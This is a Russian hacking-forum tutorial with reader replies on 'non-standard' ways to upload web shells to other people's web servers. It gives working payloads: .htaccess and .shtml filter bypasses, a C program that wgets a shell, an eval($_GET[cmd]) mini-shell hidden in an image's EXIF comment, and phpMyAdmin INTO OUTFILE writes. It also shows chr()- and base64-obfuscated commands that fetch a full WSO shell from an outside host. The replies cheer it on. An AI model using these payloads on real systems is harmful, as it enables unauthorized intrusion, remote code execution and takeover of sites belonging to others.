Нестандартные способы заливки шелла Нестандартные способы заливки шелла Итак, сегодня мы будем разбирать несколько далеко не стандартных способов заливки шелла. (В конце изложения имеются линки на видео к статье) Шелл - оболочка операционной системы (от англ. shell — оболочка) — интерпретатор команд операционной системы, обеспечивающий интерфейс для взаимодействия пользователя с функциями системы. Эту статью вам нужно читать в двух случаях: 1.) Для общего развития 2.) Если у вас не получается штатными методами залить шелл. (!!!) Способ №1 - "Обход фильтрации" Допустим, формат .php не заливается, также .php2/.php3/.php4/.php5/ и даже .php.jpg/.php.abc.Варианты решения: 1.) Попробуйте залить .phtml - это также расширение семейства PHP. 2.) Создаём файлик .htaccess, и вписываем в него следующее: PHP: AddType application/x-httpd-php .jpg AddHandler application/x-httpd-php .jpg Сохраним.. там, где .jpg можете указать любой понравившийся вам формат, хоть .hacker ( ). Теперь попробуем залить наш .htaccess и вслед за ним шелл, с расширением, указанным в .htaccess'e ??? PROFIT!!! Примечание: .htaccess - файл дополнительной конфигурации веб-сервера Apache, а также подобных ему серверов. 3.) Если методы выше не работают, то расскажу о очень интересном формате - ".shtml". Вся прелесть в том, что 95% администраторов либо вообще не знают что это такое, либо просто напросто забывают добавить этот формат в "чёрный список". А теперь советую поподробней прочитать, что это такое, залить такой файлик на сервер, и закачать шелл... Также бывает, что если мы создадим файл file.shtm?cmd=... то в большинстве случаев скрипт не хотел выполнять системные команды, которые содержат пробел. т.е. "id" он выполнял, "ls" - тоже, а "uname -a" - нет, потому что содержит пробел. Таким образом все фишки типа "wget http://shell.com/shell.php" обламывались. Но не отчаиваетесь - выход есть: Можно написать и скомпилировать програмку, которая выполняет системную команду скачивания шелла (через wget). скомпилировать, и залить её. Потом через SSI скрипт просто напросто выполнить её. Код примера программы: Code: #include <stdio.h> #include <stdlib.h> int main () { system("wget [Путь_к_шеллу]"); return 0; } Код самый примитивный, описание команд: System - команда для выполнения команд ( ) системного интерпретатора. Wget - свободная не-интерактивная консольная программа для загрузки файлов по сети. Поддерживает протоколы HTTP, FTP и HTTPS, а также поддерживает работу через HTTP прокси-сервер. Программа включена почти во все дистрибутивы GNU/Linux return - это то что мы "возвратим" программе, в данном случае ничего include - подключение библиотек компилятора. int main - главная "процедура" (наподобие функции) программы. P.S Варианты shell.php.jpg тут не рассматриваются, т.к о них и так все знают. (Спасибо Mailbrush'у за предоставленный вариант). 4.) Ну, а этот вариант - это использовать плагин на подобии "Tamper Data" (Firefox). Можно перехватить запрос, и изменить расширение, но такой метод самый маловероятный. Обычно он спасает в тех случаях, если php не разрешает какой-нибудь JavaScript. 5.) Пятый вариант - это отличный баг Windows, а именно, иногда сайт не разрешает закачивать PHP таким образом, что когда нажимаешь к примеру на кнопку "Обзор", то он показывает только файлы изображений, и т.п. Но не отчаивайтесь - просто нажмите на этот "Обзор" ( ) зайдите в директорию с шеллом, и наберите тут его имя: И нажмите "Открыть", шелл успешно откроется, и закачается 6.) Ну а этот метод не входит в "не стандартную" категорию, он заключается в том, что банальный создатель говорит, что разрешено дескать только .jpg и т.д, но на самом деле это не всегда так, достаточно залить PHP сценарий (шелл), и он будет отлично работать. Как вы поняли - никакой фильтрации нету полностью (ну или уж через чур кривая ) 7.) А этот способ предложил нам |qbz|: То есть объясняя другими словами, вы в админке через отправку почты отправляете её на локальный хост, и это сохранится в "спец.папках", затем через уязвимость PHP Include мы инклудим этот файлик и таким образом можем воспроизвести PHP сценарий. Для домохозяек, PHP Include - это загрузка какого-либо файла (в нашем случае PHP скрипта) на страницу пользователя, как то так)) Подробнее можете погуглить.... 8.) Ну этот способ называется шелл в картинке, или exif шелл Итак, начнём: Часто мы пытаемся загрузить наш шелл в формате .jpg и т.п но также часто попадаются файломенеджеры которые с доброй харей любезно сжимают файл да ещё и размер, и понятное дело наш шелл так не заработает, тогда воспользуемся волшебной штукой под названием exif, а делаем так: Берём например paint, создаём картинку хоть 1x1 пикселей, сохраняем в формате .gif или как вам удобней, затем юзаем тулзы для добавления "комментария" к фотке, то есть exif, для этого например подойдёт gimp, открываем в нём наше фото, нажимаем сохранить к примеру в формате .gif и пишем там где Comment или Комментарий, или ещё чего наш код от мини шелла, то есть <?php eval($_GET[cmd]); ?>, сохраняем, льём, делаем так http://site.com/foto.gif?cmd=phpinfo(); и радуемся! также такие "комментарии" можно вставить и в hex редакторе... Подробнее тут Способ №2 - Хитрости PhpMyAdmin Допустим, вы получили доступ к PhpMyAdmin, и вам даже посчастливилось, что File_Priv=Y и Обновление таблиц тоже = Y. Тогда нажимает SQL (Может называться и по другому, и она сверху ). И вписываем следующее: Code: UPDATE `table_name` SET `column_name_1` = '<?php $url = "Путь_до_шелла";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h); ?>' WHERE `column_name_2` =[Значение] LIMIT 1 ; SELECT * FROM `table_name` WHERE `column_name_2` =[Значение] INTO OUTFILE '[Полный_путь_до_папки_с_правами_закачки_файла/shell.php]' ; Запросы весьма банальны! Первый запрос гласит о том, что мы изменяем (обновляем) колонку column_name_1 в таблице table_name, где column_name_2 = какому-либо значению. Второй запрос "выдёргивает" данные из колонки column_name_2, находящейся в таблице table_name, и выдёргивает из той, где column_name_2 равен какому-либо значению, затем это логируется в какой-либо файл. Теперь переходим по адресу Code: host.com/пут_до_той_папки_что_вы_указали/shells.php Пояснения: table_name - имя таблицы в БД. column_name_1 - эта колонка, которую мы будем "изменять". column_name_2 - это колонка, например id, показывает, какую именно запись в БД мы будем редактировать. Например, column_name_2=id, а table_name=users. Это значит, что мы будем изменять запись в таблице users, где id=n (любое число). Вы, вероятно обратили внимание, что весь php на одной строке и без пробелов, а это не случайность - это всё для вселюбимой PhpMyAdmin, если записать сюда код с переходами на другую строку, то он обязательно вставить "/" перед переходом, что соответственно вызовет ошибку в php скрипте. И ещё нельзя использовать ' ... Также можно вместо: Code: <?php $url = "Путь_до_шелла";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h); ?> Мы можем просто вписать: Code: <?php eval($_GET[cmd]); ?> Eval выполняет функции php, как вы видите, это мини шелл... используют так: Code: host.com/пут_до_той_папки_что_вы_указали/shells.php?cmd=function_php; Способ (Можно сказать, часть...) №3 - Что касается "Мини-шелла" Итак, опять же допустим, что вы закачали "мини шелл", но теперь бы вам надо залить нормальный, WSO к примеру. Пробуем: Code: http://host.ru/shell.php?cmd=$url = "Ссылка_на_шелл.txt";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h); Но тут очень часто бывает облом - либо нельзя, чтобы был пробел, либо нельзя, чтобы были кавычки. "Заброшу ка я сервер" - наверное подумали вы.. но нет, конечно, вы правы, чтобы задать тип переменной в php типа string, не мешало бы значение поместить в кавычки, а вот оказывается нет. Достаточно использовать функцию chr(); Эта функция "преобразовывает" ASCII в "обычный текст", таблицу таких символов можно взять тут - http://www.asciitable.com/ И соответственно, получаем код, к примеру (рабочий): $url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(108).chr(101).chr(103).chr(105).chr(111).chr(110).chr(101).chr(114).chr(115).chr(56).chr(56).chr(46).chr(110).chr(97).chr(114).chr(111).chr(100).chr(46).chr(114).chr(117).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(116).chr(120).chr(116); Как видите, без кавычек, а тип будет String Так что теперь делаем код: Code: $url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(108).chr(101).chr(103).chr(105).chr(111).chr(110).chr(101).chr(114).chr(115).chr(56).chr(56).chr(46).chr(110).chr(97).chr(114).chr(111).chr(100).chr(46).chr(114).chr(117).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(116).chr(120).chr(116);$content = file_get_contents($url);$h = fopen(shells.chr(46).php,w);$text = $content;fwrite($h,$text);fclose($h); И вставляем его в "?cmd=" и получаем в том же каталоге что и мини-шелл, настоящий, хороший шелл, который будет по адресу shells.php.. Заметка: Скорее всего, вы заметили, что у меня написано "shells.chr(46).php", а я объясню, 46 - это точка в "Dec", а имя файла у нас без кавычек, и если бы мы написали shells.php то он бы сохранился как shellsphp, то есть без расширения, т.к точка - это тоже функция в PHP, но я земенил её на shells.chr(46).php и получаем на выходе "shells.php". Вот так, удачи Вам! Впринципе, можно сделать место функции chr() например так: Code: $url=$_GET[urlz]; $content= file_get_contents($url);$h=fopen($_GET[file],w);$text=$content;fwrite($h,$text);fclose($h); И задавать так: HTML: site.com/eval.php?cmd=$url=$_GET[url];$content= file_get_contents($url);$h=fopen($_GET[file],w);$text=$content;fwrite($h,$text);fclose($h);&url=url_загружаемого_файла&file=название_файла_на_выходе В этом скрипте кстати тоже всё довольно просто - это мы задаём значение переменной URL взятое из GET переменной URL. - тут мы присваиваем переменной Content значение документа, находящемся по адресу из переменной URL. - открываем локальный файл $_GET[file] для записи. - подставляем значение переменной text из переменной content. - записываем в файл, открытый для записи в переменной "h" значение из переменной text. - закрываем открытый файл из переменной h для записи в него текста. Также такой код можно представить так: и юзать так: А также, можно использовать Base64. - Но ведь он оканчивается на "==" ?? спросите вы, но вот и нет, этот хвост можно убрать, и код продолжит также прекрасно работать! например, PHPInfo() будет выглядеть так: Code: <?php eval(base64_decode('cGhwaW5mbygpOw==')); ?> Урежем: Code: <?php eval(base64_decode('cGhwaW5mbygpOw')); ?> Видим, что всё работает) теперь можем убрать кавычки, юзаем так: PHP: site.ru/index.php?cmd=base64_decode(cGhwaW5mbygpOw); Использовать кодировщик рекомендую тут http://base64.ru или тут: http://tools.0x0000ed.com/base64.php Есть мини-шелл, но нету прав =( Допустим, вы залили шелл, и напихали везде мини-шеллов, но ваш шелл потёрли, и урезали права во всех папках, либо другая причина, по которой вы не можете залить нормальный шелл из миника. Для этого делаем так: Идём сюда: http://base64.ru/ Там вписываем такой код: PHP: $content=file_get_contents("ПУТЬ_К_ШЕЛЛУ");$h=fopen("имя_файла_мини-шелла",w);$text=$content;fwrite($h,$text);fclose($h); шифруем это в base64, у меня вышло так: PHP: JGNvbnRlbnQ9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuY29udGludXVtMi5jb20vd3NvLnR4dCIpOyRoPWZvcGVuKCJtZW1iZXIuaW5jLnBocCIsdyk7JHRleHQ9JGNvbnRlbnQ7ZndyaXRlKCRoLCR0ZXh0KTtmY2xvc2UoJGgpOw Тогда юзаем так: PHP: http://site.ru/mini.php?cmd=eval(base64_decode(JGNvbnRlbnQ9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuY29udGludXVtMi5jb20vd3NvLnR4dCIpOyRoPWZvcGVuKCJtZW1iZXIuaW5jLnBocCIsdyk7JHRleHQ9JGNvbnRlbnQ7ZndyaXRlKCRoLCR0ZXh0KTtmY2xvc2UoJGgpOw)); теперь обновляем страничку с мини-шеллом, и видим полноценный шелл... Окончание: Это всего-лишь малая часть всех чудных способов не стандартной заливки, я просто попытался направить вас на тот путь, что выход есть всегда (почти ). С уважением, Osstudio! Подборка видео к статье: "Заливка шелла через PhpMyAdmin. Из мини-шелла в WSO."
Отличная статья! Написано очень грамотно и методы актуальнейшие, сразу видно проффесионала в своей области! ТС пиши почаще...
Методы действительно актуальные А если вы располагаете новыми, прошу в ЛС на описание, добавим в статью
Есть еще один очень не стандартный метод - форма аплоада в панелях администрирования. Не плохо было бы написать статью...
да что ты заладил, рука мастера да рука мастера. аж читать противно. если это не стандартный метод, то какой по твоему стандартный? загрузка шелла по фтп с одобрения админа что ли?
Ааа!! Сайт не работает!! Паника!! Я первый раз на ачат зашел, попробовал залить этот файлик, а потом все перестало работать!! Лучше бы про это расписать. Такие примеры на ачате видел.
Противно читать - не читай. Я старался и убил несколько часов. Честно старался специально для Античата. И по твоему сообщению, "Актуальней не бывает" - разве, какой-то метод не рабочий? И не так просто найти подобную статью на античате, где уже всё есть в одном флаконе, зачем бедным юзерам рыть во всём форуме, в поисках нужной ему инфы? Как минимум, это уменьшит нагрузку на сервера P.S Кстати, знаешь мне почему обидна критика к моей статье? Да потому-что почти все методы я сам придумал. Хоть они уже и были.. Так что рекомендую промолчать, новометоцец.
На что? P.s ТС, редко бывает черный список форматов, которые нельзя заливать. Скорее бывает "белый" список
На статью. Нет, очень даже не редко, если 2 раза хекал сайты, попробуй ещё, чтобы увидеть, чего нету, чего есть Например эти редакторы сообщений в админке..
Надеюсь, это хотя бы как минимум реализация unserialize-багов? Иначе, можешь остановиться прямо сейчас.
Думаю, скоро выложу видео по обходу фильтров, и хватит, т.к в первом видео я специально сразу шелл заливать не стал, а сначала мини-шелл, а уже затем, из него полноценный. Причём сразу с функцией chr();